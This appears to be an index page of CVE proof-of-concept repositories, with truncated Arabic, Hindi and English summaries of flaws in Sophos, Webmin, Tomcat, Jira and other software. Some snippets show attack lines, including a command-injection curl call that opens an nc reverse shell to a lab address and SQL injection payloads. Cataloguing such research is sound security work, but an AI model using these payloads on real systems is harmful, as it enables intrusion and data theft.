CVE-2020-5398

CVE-2020-5398 - هجوم تنزيل الملف المنعكس RFD لـ Spring MVC في إطار Spring Framework، الإصدارات 5.2.x قبل 5.2.3، والإصدارات 5.1.x قبل 5.1.13، والإصدارات 5.0.x قبل 5.0.16، يكون التطبيق عرضة لهجوم تنزيل الملف المنعكس RFD عندما يضع ترويسة "Content-Disposition" في الاستجابة حيث تكون سمة اسم الملف مشتق...

CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

CVE-2019-15107

CVE-2019-15107 वेबमिन एक्सप्लॉइट CVE-2019-15107 एक समस्या Webmin =1.920 में पाई गई। passwordchange.cgi में old पैरामीटर में कमांड इंजेक्शन की कमजोरी है। NVD संकलन $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make उपयोग उदाहरण $ ./exploit...

CVE-2026-42758

CVE-2026-42758 CVE-2026-42758 WebinarIgnition Exploit उपयोग उदाहरण मूल उपयोग python3 exploit.py https://target.example.com -e [email protected] वेबिनार पृष्ठ निर्दिष्ट करना python3 exploit.py https://target.example.com -e [email protected] -w https://target.example.com/webinar/my-webina...

CVE-2026-88394

WookTeam v1.6.6 and before is vulnerable to a Directory Traversal. The project task export endpoint /api/project/task/export downloads an arbitrary file from the server when the data parameter is supplied with a crafted JSON payload. The file value inside the JSON is concatenated directly into...

CVE-2024-23747

CVE-2024-23747 نظام إدارة المستشفيات ModernaNet من شركة Moderna Sistemas لعام 2024 يعاني من ثغرة مرجع كائن مباشر غير آمن IDOR. إثبات المفهوم تقع هذه الثغرة في تعامل النظام مع الوصول إلى بيانات المستخدمين عبر عنوان URL /Modernanet/LAUDO/LAU0000100/Laudo?id=. من خلال التلاعب بهذا المعامل id، يمكن...

CVE-2002-0740

CVE-2002-0740 SLRNPull स्पूल निर्देशिका कमांड लाइन पैरामीटर बफर ओवरफ्लो भेद्यता Packetstorm प्रकाशन https://packetstormsecurity.com/files/25989/slrnpull.overflow.txt.html पर Securiteam प्रकाशन http://www.securiteam.com/unixfocus/5FP0R0K6UC.html पर Securityfocus प्रकाशन...

CVE-2019-8451

CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...

CVE-2023-27372

CVE-2023-27372 यह भेद्यता oubli पैरामीटर में मौजूद है और एक अप्रमाणित उपयोगकर्ता को वेब उपयोगकर्ता विशेषाधिकारों के साथ मनमाने आदेश निष्पादित करने की अनुमति देती है। शाखाएं 3.2, 4.0, 4.1 और 4.2 प्रभावित हैं। कमजोर संस्करण 3.2.18 से नीचे, 4.0.10 से नीचे, 4.1.18 से नीचे और 4.2.1 से नीचे हैं।...

CVE-2023-42283

إخلاء مسؤولية لأغراض تعليمية فقط! التفاصيل إثبات المفهوم لـ CVE-2023-42283. بوابة Tyk معرضة لحقن SQL. تم الإصلاح في الإصدار 5.0.7. معلمة URL 'apiid' الخاصة بـ "https:///api/errors/count/...?res=day&p=...&apiversion=...&apiid=" معرضة لحقن SQL الأعمى. الاستغلال استخدم sqlmap مع المعاملات التالية:...

CVE-2023-5204

CVE-2023-5204 AI ChatBot = 5.0.12 AND time-based blind query SLEEP Payload: action=wpbosearchresponse&name=test&keyword=test&strid=1 AND SELECT 1436 FROM SELECTSLEEP5kZil Type: UNION query Title: Generic UNION que...

CVE-2017-12617

update version of https://github.com/cyberheartmi9 CVE-2017-12617 CVE-2017-12617 एक गंभीर रिमोट कोड निष्पादन RCE कमजोरी है जो Apache Tomcat में पाई गई। HTTP PUTs सक्षम होने वाले सिस्टम Default servlet के 'read-only' आरंभीकरण पैरामीटर को 'false' पर सेट करके प्रभावित होते हैं। Tomcat संस्करण 9.0.1...

phpipam_1.4.4

CVE-2022-23046 phpIPAM 1.4.4 - SQL इंजेक्शन phpIPAM v1.4.4 एक प्रमाणित एडमिन उपयोगकर्ता को subnet पैरामीटर में SQL वाक्य इंजेक्ट करने की अनुमति देता है, जब app/admin/routing/edit-bgp-mapping-search.php के माध्यम से subnet खोज रहे हो। यह प्रोजेक्ट वर्तमान में डेटाबेस जानकारी और होस्ट संस्करण जानका...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 openSIS 8.0 SQL इंजेक्शन भेद्यता https://vulners.com/cve/CVE-2021-40353 MySQL या MariaDB को एप्लिकेशन डेटाबेस के रूप में उपयोग करने पर openSIS संस्करण 8.0 में SQL इंजेक्शन भेद्यता मौजूद है। हमलावर USERNAME पैरामीटर के माध्यम से SQL कमांड जारी कर सकता है। असुरक्षित PH...

CVE-2018-14714-POC

CVE-2018-14714-POC अप्रैल 25 2020, Altin Thartori, github.com/tin-z भेद्यता विवरण appGet.cgi में ASUS RT-AC3200 संस्करण 3.0.0.4.382.50010 पर सिस्टम कमांड इंजेक्शन हमलावरों को "loadscript" URL पैरामीटर के माध्यम से सिस्टम कमांड निष्पादित करने की अनुमति देता है CVE-2018-14714 के लिए संदर्भ :...

CVE-2026-37065

CVE-2026-37065 Veno File Manager Project 4.4.9 मनमानी फ़ाइल हटाने की कमज़ोरी से ग्रस्त है। इस कमज़ोरी का शोषण करने के लिए, एक प्रमाणित हमलावर जो सुपरएडमिन की भूमिका में है, url पैरामीटर remove का उपयोग करके प्रभावित एंडपॉइंट पर एक विशेष रूप से तैयार POST अनुरोध भेज सकता है, जिसे हटाने वाली फ़ाइल ...

CVE-2020-35545

CVE-2020-35545 Spotweb 1.4.9 - 'search' SQL Injection...

CVE-2021-39475

CVE-2021-39475 एडमिन समीक्षा पृष्ठ पर XSS https://www.warcloudsecurity.com/ecommerce/admin/reviews.php?action=preview&rID=1&page=0...

CVE-2022-28171-POC

CVE-2022-28171-POC मैंने मूल रूप से इसे ExploitDB पर प्रकाशित किया था, जिसे आप https://www.exploit-db.com/exploits/51607 पर पा सकते हैं Hikvision Hybrid SAN Ds-a71024 फर्मवेयर - एकाधिक रिमोट कोड निष्पादन Date: 16 July 2023 Exploit Author: Thurein Soe CVE : CVE-2022-28171 Reference Link:...

CVE-2021-41648

CVE-2021-41648 CVE-2021-41648 حقن SQL في نظام التسوق عبر الإنترنت نظام التسوق عبر الإنترنت عرضة لهجمات حقن SQL العمياء المستندة إلى الأخطاء/المنطقية غير المصادق عليها والهجمات المستندة إلى الأخطاء. لا يقوم معامل proId في صفحة /action.php بتطهير إدخال المستخدم، مما يسمح للمهاجم باستخراج بيانات حسا...